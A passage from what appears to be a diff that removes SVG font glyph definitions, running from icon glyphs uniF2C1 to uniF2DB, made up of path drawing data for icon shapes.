-t198.5 -40.5t163.5 -109.5t109.5 -163.5t40.5 -198.5q0 -147 -79 -272zM768 1408q-159 0 -271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5t-112.5 271.5t-271.5 112.5zM1195 -128q88 0 150.5 71.5t62.5 173.5q0 239 -78.5 377t-225.5 145
-q-145 -127 -336 -127t-336 127q-147 -7 -225.5 -145t-78.5 -377q0 -102 62.5 -173.5t150.5 -71.5h854z" />
-    <glyph glyph-name="uniF2C1" unicode="&#xf2c1;" horiz-adv-x="1280" 
-d="M1024 278q0 -64 -37 -107t-91 -43h-512q-54 0 -91 43t-37 107t9 118t29.5 104t61 78.5t96.5 28.5q80 -75 188 -75t188 75q56 0 96.5 -28.5t61 -78.5t29.5 -104t9 -118zM870 797q0 -94 -67.5 -160.5t-162.5 -66.5t-162.5 66.5t-67.5 160.5t67.5 160.5t162.5 66.5
-t162.5 -66.5t67.5 -160.5zM1152 -96v1376h-1024v-1376q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1280 1376v-1472q0 -66 -47 -113t-113 -47h-960q-66 0 -113 47t-47 113v1472q0 66 47 113t113 47h352v-96q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v96h352
-q66 0 113 -47t47 -113z" />
-    <glyph glyph-name="uniF2C2" unicode="&#xf2c2;" horiz-adv-x="2048" 
-d="M896 324q0 54 -7.5 100.5t-24.5 90t-51 68.5t-81 25q-64 -64 -156 -64t-156 64q-47 0 -81 -25t-51 -68.5t-24.5 -90t-7.5 -100.5q0 -55 31.5 -93.5t75.5 -38.5h426q44 0 75.5 38.5t31.5 93.5zM768 768q0 80 -56 136t-136 56t-136 -56t-56 -136t56 -136t136 -56t136 56
-t56 136zM1792 288v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23zM1408 544v64q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1792 544v64q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23
-v-64q0 -14 9 -23t23 -9h192q14 0 23 9t9 23zM1792 800v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23zM128 1152h1792v96q0 14 -9 23t-23 9h-1728q-14 0 -23 -9t-9 -23v-96zM2048 1248v-1216q0 -66 -47 -113t-113 -47h-1728
-q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1728q66 0 113 -47t47 -113z" />
-    <glyph glyph-name="uniF2C3" unicode="&#xf2c3;" horiz-adv-x="2048" 
-d="M896 324q0 -55 -31.5 -93.5t-75.5 -38.5h-426q-44 0 -75.5 38.5t-31.5 93.5q0 54 7.5 100.5t24.5 90t51 68.5t81 25q64 -64 156 -64t156 64q47 0 81 -25t51 -68.5t24.5 -90t7.5 -100.5zM768 768q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136z
-M1792 352v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704q14 0 23 -9t9 -23zM1408 608v-64q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h320q14 0 23 -9t9 -23zM1792 608v-64q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v64
-q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 864v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704q14 0 23 -9t9 -23zM1920 32v1120h-1792v-1120q0 -13 9.5 -22.5t22.5 -9.5h1728q13 0 22.5 9.5t9.5 22.5zM2048 1248v-1216q0 -66 -47 -113t-113 -47
-h-1728q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1728q66 0 113 -47t47 -113z" />
-    <glyph glyph-name="uniF2C4" unicode="&#xf2c4;" horiz-adv-x="1792" 
-d="M1255 749q0 318 -105 474.5t-330 156.5q-222 0 -326 -157t-104 -474q0 -316 104 -471.5t326 -155.5q74 0 131 17q-22 43 -39 73t-44 65t-53.5 56.5t-63 36t-77.5 14.5q-46 0 -79 -16l-49 97q105 91 276 91q132 0 215.5 -54t150.5 -155q67 149 67 402zM1645 117h117
-q3 -27 -2 -67t-26.5 -95t-58 -100.5t-107 -78t-162.5 -32.5q-71 0 -130.5 19t-105.5 56t-79 78t-66 96q-97 -27 -205 -27q-150 0 -292.5 58t-253 158.5t-178 249t-67.5 317.5q0 170 67.5 319.5t178.5 250.5t253.5 159t291.5 58q121 0 238.5 -36t217 -106t176 -164.5
-t119.5 -219t43 -261.5q0 -190 -80.5 -347.5t-218.5 -264.5q47 -70 93.5 -106.5t104.5 -36.5q61 0 94 37.5t38 85.5z" />
-    <glyph glyph-name="uniF2C5" unicode="&#xf2c5;" horiz-adv-x="2304" 
-d="M453 -101q0 -21 -16 -37.5t-37 -16.5q-1 0 -13 3q-63 15 -162 140q-225 284 -225 676q0 341 213 614q39 51 95 103.5t94 52.5q19 0 35 -13.5t16 -32.5q0 -27 -63 -90q-98 -102 -147 -184q-119 -199 -119 -449q0 -281 123 -491q50 -85 136 -173q2 -3 14.5 -16t19.5 -21
-t17 -20.5t14.5 -23.5t4.5 -21zM1796 33q0 -29 -17.5 -48.5t-46.5 -19.5h-1081q-26 0 -45 19t-19 45q0 29 17.5 48.5t46.5 19.5h1081q26 0 45 -19t19 -45zM1581 644q0 -134 -67 -233q-25 -38 -69.5 -78.5t-83.5 -60.5q-16 -10 -27 -10q-7 0 -15 6t-8 12q0 9 19 30t42 46
-t42 67.5t19 88.5q0 76 -35 130q-29 42 -46 42q-3 0 -3 -5q0 -12 7.5 -35.5t7.5 -36.5q0 -22 -21.5 -35t-44.5 -13q-66 0 -66 76q0 15 1.5 44t1.5 44q0 25 -10 46q-13 25 -42 53.5t-51 28.5q-5 0 -7 -0.5t-3.5 -2.5t-1.5 -6q0 -2 16 -26t16 -54q0 -37 -19 -68t-46 -54
-t-53.5 -46t-45.5 -54t-19 -68q0 -98 42 -160q29 -43 79 -63q16 -5 17 -10q1 -2 1 -5q0 -16 -18 -16q-6 0 -33 11q-119 43 -195 139.5t-76 218.5q0 55 24.5 115.5t60 115t70.5 108.5t59.5 113.5t24.5 111.5q0 53 -25 94q-29 48 -56 64q-19 9 -19 21q0 20 41 20q50 0 110 -29
-q41 -19 71 -44.5t49.5 -51t33.5 -62.5t22 -69t16 -80q0 -1 3 -17.5t4.5 -25t5.5 -25t9 -27t11 -21.5t14.5 -16.5t18.5 -5.5q23 0 37 14t14 37q0 25 -20 67t-20 52t10 10q27 0 93 -70q72 -76 102.5 -156t30.5 -186zM2304 615q0 -274 -138 -503q-19 -32 -48 -72t-68 -86.5
-t-81 -77t-74 -30.5q-16 0 -31 15.5t-15 31.5q0 15 29 50.5t68.5 77t48.5 52.5q183 230 183 531q0 131 -20.5 235t-72.5 211q-58 119 -163 228q-2 3 -13 13.5t-16.5 16.5t-15 17.5t-15 20t-9.5 18.5t-4 19q0 19 16 35.5t35 16.5q70 0 196 -169q98 -131 146 -273t60 -314
-q2 -42 2 -64z" />
-    <glyph glyph-name="uniF2C6" unicode="&#xf2c6;" horiz-adv-x="1792" 
-d="M1189 229l147 693q9 44 -10.5 63t-51.5 7l-864 -333q-29 -11 -39.5 -25t-2.5 -26.5t32 -19.5l221 -69l513 323q21 14 32 6q7 -5 -4 -15l-415 -375v0v0l-16 -228q23 0 45 22l108 104l224 -165q64 -36 81 38zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71
-t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
-    <glyph glyph-name="uniF2C7" unicode="&#xf2c7;" horiz-adv-x="1024" 
-d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v907h128v-907q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
-t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
-v128h192z" />
-    <glyph glyph-name="uniF2C8" unicode="&#xf2c8;" horiz-adv-x="1024" 
-d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v651h128v-651q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
-t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
-v128h192z" />
-    <glyph glyph-name="uniF2C9" unicode="&#xf2c9;" horiz-adv-x="1024" 
-d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v395h128v-395q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
-t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
-v128h192z" />
-    <glyph glyph-name="uniF2CA" unicode="&#xf2ca;" horiz-adv-x="1024" 
-d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v139h128v-139q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
-t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
-v128h192z" />
-    <glyph glyph-name="uniF2CB" unicode="&#xf2cb;" horiz-adv-x="1024" 
-d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 79 56 135.5t136 56.5t136 -56.5t56 -135.5zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5t93.5 226.5z
-M896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192v128h192z" />
-    <glyph glyph-name="uniF2CC" unicode="&#xf2cc;" horiz-adv-x="1920" 
-d="M1433 1287q10 -10 10 -23t-10 -23l-626 -626q-10 -10 -23 -10t-23 10l-82 82q-10 10 -10 23t10 23l44 44q-72 91 -81.5 207t46.5 215q-74 71 -176 71q-106 0 -181 -75t-75 -181v-1280h-256v1280q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5q106 0 201 -41
-t166 -115q94 39 197 24.5t185 -79.5l44 44q10 10 23 10t23 -10zM1344 1024q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1600 896q-26 0 -45 19t-19 45t19 45t45 19t45 -19t19 -45t-19 -45t-45 -19zM1856 1024q26 0 45 -19t19 -45t-19 -45t-45 -19
-t-45 19t-19 45t19 45t45 19zM1216 896q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1408 832q0 26 19 45t45 19t45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45zM1728 896q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1088 768
-q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1344 640q-26 0 -45 19t-19 45t19 45t45 19t45 -19t19 -45t-19 -45t-45 -19zM1600 768q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1216 512q-26 0 -45 19t-19 45t19 45t45 19t45 -19
-t19 -45t-19 -45t-45 -19zM1472 640q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1088 512q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1344 512q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1216 384
-q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1088 256q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19z" />
-    <glyph glyph-name="uniF2CD" unicode="&#xf2cd;" horiz-adv-x="1792" 
-d="M1664 448v-192q0 -169 -128 -286v-194q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v118q-63 -22 -128 -22h-768q-65 0 -128 22v-110q0 -17 -9.5 -28.5t-22.5 -11.5h-64q-13 0 -22.5 11.5t-9.5 28.5v186q-128 117 -128 286v192h1536zM704 864q0 -14 -9 -23t-23 -9t-23 9
-t-9 23t9 23t23 9t23 -9t9 -23zM768 928q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM704 992q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM832 992q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM768 1056q0 -14 -9 -23t-23 -9t-23 9
-t-9 23t9 23t23 9t23 -9t9 -23zM704 1120q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM1792 608v-64q0 -14 -9 -23t-23 -9h-1728q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v640q0 106 75 181t181 75q108 0 184 -78q46 19 98 12t93 -39l22 22q11 11 22 0l42 -42
-q11 -11 0 -22l-314 -314q-11 -11 -22 0l-42 42q-11 11 0 22l22 22q-36 46 -40.5 104t23.5 108q-37 35 -88 35q-53 0 -90.5 -37.5t-37.5 -90.5v-640h1504q14 0 23 -9t9 -23zM896 1056q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM832 1120q0 -14 -9 -23t-23 -9
-t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM768 1184q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM960 1120q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM896 1184q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM832 1248q0 -14 -9 -23
-t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM1024 1184q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM960 1248q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM1088 1248q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23z" />
-    <glyph glyph-name="uniF2CE" unicode="&#xf2ce;" 
-d="M994 344q0 -86 -17 -197q-31 -215 -55 -313q-22 -90 -152 -90t-152 90q-24 98 -55 313q-17 110 -17 197q0 168 224 168t224 -168zM1536 768q0 -240 -134 -434t-350 -280q-8 -3 -15 3t-6 15q7 48 10 66q4 32 6 47q1 9 9 12q159 81 255.5 234t96.5 337q0 180 -91 330.5
-t-247 234.5t-337 74q-124 -7 -237 -61t-193.5 -140.5t-128 -202t-46.5 -240.5q1 -184 99 -336.5t257 -231.5q7 -3 9 -12q3 -21 6 -45q1 -9 5 -32.5t6 -35.5q1 -9 -6.5 -15t-15.5 -2q-148 58 -261 169.5t-173.5 264t-52.5 319.5q7 143 66 273.5t154.5 227t225 157.5t272.5 70
-q164 10 315.5 -46.5t261 -160.5t175 -250.5t65.5 -308.5zM994 800q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5zM1282 768q0 -122 -53.5 -228.5t-146.5 -177.5q-8 -6 -16 -2t-10 14q-6 52 -29 92q-7 10 3 20
-q58 54 91 127t33 155q0 111 -58.5 204t-157.5 141.5t-212 36.5q-133 -15 -229 -113t-109 -231q-10 -92 23.5 -176t98.5 -144q10 -10 3 -20q-24 -41 -29 -93q-2 -9 -10 -13t-16 2q-95 74 -148.5 183t-51.5 234q3 131 69 244t177 181.5t241 74.5q144 7 268 -60t196.5 -187.5
-t72.5 -263.5z" />
-    <glyph glyph-name="uniF2D0" unicode="&#xf2d0;" horiz-adv-x="1792" 
-d="M256 128h1280v768h-1280v-768zM1792 1248v-1216q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
-    <glyph glyph-name="uniF2D1" unicode="&#xf2d1;" horiz-adv-x="1792" 
-d="M1792 224v-192q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v192q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
-    <glyph glyph-name="uniF2D2" unicode="&#xf2d2;" horiz-adv-x="2048" 
-d="M256 0h768v512h-768v-512zM1280 512h512v768h-768v-256h96q66 0 113 -47t47 -113v-352zM2048 1376v-960q0 -66 -47 -113t-113 -47h-608v-352q0 -66 -47 -113t-113 -47h-960q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h608v352q0 66 47 113t113 47h960q66 0 113 -47
-t47 -113z" />
-    <glyph glyph-name="uniF2D3" unicode="&#xf2d3;" horiz-adv-x="1792" 
-d="M1175 215l146 146q10 10 10 23t-10 23l-233 233l233 233q10 10 10 23t-10 23l-146 146q-10 10 -23 10t-23 -10l-233 -233l-233 233q-10 10 -23 10t-23 -10l-146 -146q-10 -10 -10 -23t10 -23l233 -233l-233 -233q-10 -10 -10 -23t10 -23l146 -146q10 -10 23 -10t23 10
-l233 233l233 -233q10 -10 23 -10t23 10zM1792 1248v-1216q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
-    <glyph glyph-name="uniF2D4" unicode="&#xf2d4;" horiz-adv-x="1792" 
-d="M1257 425l-146 -146q-10 -10 -23 -10t-23 10l-169 169l-169 -169q-10 -10 -23 -10t-23 10l-146 146q-10 10 -10 23t10 23l169 169l-169 169q-10 10 -10 23t10 23l146 146q10 10 23 10t23 -10l169 -169l169 169q10 10 23 10t23 -10l146 -146q10 -10 10 -23t-10 -23
-l-169 -169l169 -169q10 -10 10 -23t-10 -23zM256 128h1280v1024h-1280v-1024zM1792 1248v-1216q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
-    <glyph glyph-name="uniF2D5" unicode="&#xf2d5;" horiz-adv-x="1792" 
-d="M1070 358l306 564h-654l-306 -564h654zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
-    <glyph glyph-name="uniF2D6" unicode="&#xf2d6;" horiz-adv-x="1794" 
-d="M1291 1060q-15 17 -35 8.5t-26 -28.5t5 -38q14 -17 40 -14.5t34 20.5t-18 52zM895 814q-8 -8 -19.5 -8t-18.5 8q-8 8 -8 19t8 18q7 8 18.5 8t19.5 -8q7 -7 7 -18t-7 -19zM1060 740l-35 -35q-12 -13 -29.5 -13t-30.5 13l-38 38q-12 13 -12 30t12 30l35 35q12 12 29.5 12
-t30.5 -12l38 -39q12 -12 12 -29.5t-12 -29.5zM951 870q-7 -8 -18.5 -8t-19.5 8q-7 8 -7 19t7 19q8 8 19 8t19 -8t8 -19t-8 -19zM1354 968q-34 -64 -107.5 -85.5t-127.5 16.5q-38 28 -61 66.5t-21 87.5t39 92t75.5 53t70.5 -5t70 -51q2 -2 13 -12.5t14.5 -13.5t13 -13.5
-t12.5 -15.5t10 -15.5t8.5 -18t4 -18.5t1 -21t-5 -22t-9.5 -24zM1555 486q3 20 -8.5 34.5t-27.5 21.5t-33 17t-23 20q-40 71 -84 98.5t-113 11.5q19 13 40 18.5t33 4.5l12 -1q2 45 -34 90q6 20 6.5 40.5t-2.5 30.5l-3 10q43 24 71 65t34 91q10 84 -43 150.5t-137 76.5
-q-60 7 -114 -18.5t-82 -74.5q-30 -51 -33.5 -101t14.5 -87t43.5 -64t56.5 -42q-45 4 -88 36t-57 88q-28 108 32 222q-16 21 -29 32q-50 0 -89 -19q19 24 42 37t36 14l13 1q0 50 -13 78q-10 21 -32.5 28.5t-47 -3.5t-37.5 -40q2 4 4 7q-7 -28 -6.5 -75.5t19 -117t48.5 -122.5
-q-25 -14 -47 -36q-35 -16 -85.5 -70.5t-84.5 -101.5l-33 -46q-90 -34 -181 -125.5t-75 -162.5q1 -16 11 -27q-15 -12 -30 -30q-21 -25 -21 -54t21.5 -40t63.5 6q41 19 77 49.5t55 60.5q-2 2 -6.5 5t-20.5 7.5t-33 3.5q23 5 51 12.5t40 10t27.5 6t26 4t23.5 0.5q14 -7 22 34
-q7 37 7 90q0 102 -40 150q106 -103 101 -219q-1 -29 -15 -50t-27 -27l-13 -6q-4 -7 -19 -32t-26 -45.5t-26.5 -52t-25 -61t-17 -63t-6.5 -66.5t10 -63q-35 54 -37 80q-22 -24 -34.5 -39t-33.5 -42t-30.5 -46t-16.5 -41t-0.5 -38t25.5 -27q45 -25 144 64t190.5 221.5
-t122.5 228.5q86 52 145 115.5t86 119.5q47 -93 154 -178q104 -83 167 -80q39 2 46 43zM1794 640q0 -182 -71 -348t-191 -286t-286.5 -191t-348.5 -71t-348.5 71t-286.5 191t-191 286t-71 348t71 348t191 286t286.5 191t348.5 71t348.5 -71t286.5 -191t191 -286t71 -348z" />
-    <glyph glyph-name="uniF2D7" unicode="&#xf2d7;" 
-d="M518 1353v-655q103 -1 191.5 1.5t125.5 5.5l37 3q68 2 90.5 24.5t39.5 94.5l33 142h103l-14 -322l7 -319h-103l-29 127q-15 68 -45 93t-84 26q-87 8 -352 8v-556q0 -78 43.5 -115.5t133.5 -37.5h357q35 0 59.5 2t55 7.5t54 18t48.5 32t46 50.5t39 73l93 216h89
-q-6 -37 -31.5 -252t-30.5 -276q-146 5 -263.5 8t-162.5 4h-44h-628l-376 -12v102l127 25q67 13 91.5 37t25.5 79l8 643q3 402 -8 645q-2 61 -25.5 84t-91.5 36l-127 24v102l376 -12h702q139 0 374 27q-6 -68 -14 -194.5t-12 -219.5l-5 -92h-93l-32 124q-31 121 -74 179.5
-t-113 58.5h-548q-28 0 -35.5 -8.5t-7.5 -30.5z" />
-    <glyph glyph-name="uniF2D8" unicode="&#xf2d8;" 
-d="M922 739v-182q0 -4 0.5 -15t0 -15l-1.5 -12t-3.5 -11.5t-6.5 -7.5t-11 -5.5t-16 -1.5v309q9 0 16 -1t11 -5t6.5 -5.5t3.5 -9.5t1 -10.5v-13.5v-14zM1238 643v-121q0 -1 0.5 -12.5t0 -15.5t-2.5 -11.5t-7.5 -10.5t-13.5 -3q-9 0 -14 9q-4 10 -4 165v7v8.5v9t1.5 8.5l3.5 7
-t5 5.5t8 1.5q6 0 10 -1.5t6.5 -4.5t4 -6t2 -8.5t0.5 -8v-9.5v-9zM180 407h122v472h-122v-472zM614 407h106v472h-159l-28 -221q-20 148 -32 221h-158v-472h107v312l45 -312h76l43 319v-319zM1039 712q0 67 -5 90q-3 16 -11 28.5t-17 20.5t-25 14t-26.5 8.5t-31 4t-29 1.5
-h-29.5h-12h-91v-472h56q169 -1 197 24.5t25 180.5q-1 62 -1 100zM1356 515v133q0 29 -2 45t-9.5 33.5t-24.5 25t-46 7.5q-46 0 -77 -34v154h-117v-472h110l7 30q30 -36 77 -36q50 0 66 30.5t16 83.5zM1536 1248v-1216q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113
-v1216q0 66 47 113t113 47h1216q66 0 113 -47t47 -113z" />
-    <glyph glyph-name="uniF2D9" unicode="&#xf2d9;" horiz-adv-x="2176" 
-d="M1143 -197q-6 1 -11 4q-13 8 -36 23t-86 65t-116.5 104.5t-112 140t-89.5 172.5q-17 3 -175 37q66 -213 235 -362t391 -184zM502 409l168 -28q-25 76 -41 167.5t-19 145.5l-4 53q-84 -82 -121 -224q5 -65 17 -114zM612 1018q-43 -64 -77 -148q44 46 74 68zM2049 584
-q0 161 -62 307t-167.5 252t-250.5 168.5t-304 62.5q-147 0 -281 -52.5t-240 -148.5q-30 -58 -45 -160q60 51 143 83.5t158.5 43t143 13.5t108.5 -1l40 -3q33 -1 53 -15.5t24.5 -33t6.5 -37t-1 -28.5q-126 11 -227.5 0.5t-183 -43.5t-142.5 -71.5t-131 -98.5
-q4 -36 11.5 -92.5t35.5 -178t62 -179.5q123 -6 247.5 14.5t214.5 53.5t162.5 67t109.5 59l37 24q22 16 39.5 20.5t30.5 -5t17 -34.5q14 -97 -39 -121q-208 -97 -467 -134q-135 -20 -317 -16q41 -96 110 -176.5t137 -127t130.5 -79t101.5 -43.5l39 -12q143 -23 263 15
-q195 99 314 289t119 418zM2123 621q-14 -135 -40 -212q-70 -208 -181.5 -346.5t-318.5 -253.5q-48 -33 -82 -44q-72 -26 -163 -16q-36 -3 -73 -3q-283 0 -504.5 173t-295.5 442q-1 0 -4 0.5t-5 0.5q-6 -50 2.5 -112.5t26 -115t36 -98t31.5 -71.5l14 -26q8 -12 54 -82
-q-71 38 -124.5 106.5t-78.5 140t-39.5 137t-17.5 107.5l-2 42q-5 2 -33.5 12.5t-48.5 18t-53 20.5t-57.5 25t-50 25.5t-42.5 27t-25 25.5q19 -10 50.5 -25.5t113 -45.5t145.5 -38l2 32q11 149 94 290q41 202 176 365q28 115 81 214q15 28 32 45t49 32q158 74 303.5 104
-t302 11t306.5 -97q220 -115 333 -336t87 -474z" />
-    <glyph glyph-name="uniF2DA" unicode="&#xf2da;" horiz-adv-x="1792" 
-d="M1341 752q29 44 -6.5 129.5t-121.5 142.5q-58 39 -125.5 53.5t-118 4.5t-68.5 -37q-12 -23 -4.5 -28t42.5 -10q23 -3 38.5 -5t44.5 -9.5t56 -17.5q36 -13 67.5 -31.5t53 -37t40 -38.5t30.5 -38t22 -34.5t16.5 -28.5t12 -18.5t10.5 -6t11 9.5zM1704 178
-q-52 -127 -148.5 -220t-214.5 -141.5t-253 -60.5t-266 13.5t-251 91t-210 161.5t-141.5 235.5t-46.5 303.5q1 41 8.5 84.5t12.5 64t24 80.5t23 73q-51 -208 1 -397t173 -318t291 -206t346 -83t349 74.5t289 244.5q20 27 18 14q0 -4 -4 -14zM1465 627q0 -104 -40.5 -199
-t-108.5 -164t-162 -109.5t-198 -40.5t-198 40.5t-162 109.5t-108.5 164t-40.5 199t40.5 199t108.5 164t162 109.5t198 40.5t198 -40.5t162 -109.5t108.5 -164t40.5 -199zM1752 915q-65 147 -180.5 251t-253 153.5t-292 53.5t-301 -36.5t-275.5 -129t-220 -211.5t-131 -297
-t-10 -373q-49 161 -51.5 311.5t35.5 272.5t109 227t165.5 180.5t207 126t232 71t242.5 9t236 -54t216 -124.5t178 -197q33 -50 62 -121t31 -112zM1690 573q12 244 -136.5 416t-396.5 240q-8 0 -10 5t24 8q125 -4 230 -50t173 -120t116 -168.5t58.5 -199t-1 -208
-t-61.5 -197.5t-122.5 -167t-185 -117.5t-248.5 -46.5q108 30 201.5 80t174 123t129.5 176.5t55 225.5z" />
-    <glyph glyph-name="uniF2DB" unicode="&#xf2db;" 
-d="M192 256v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM192 512v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM192 768v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16
-q0 16 16 16h112zM192 1024v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM192 1280v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM1280 1440v-1472q0 -40 -28 -68t-68 -28h-832q-40 0 -68 28
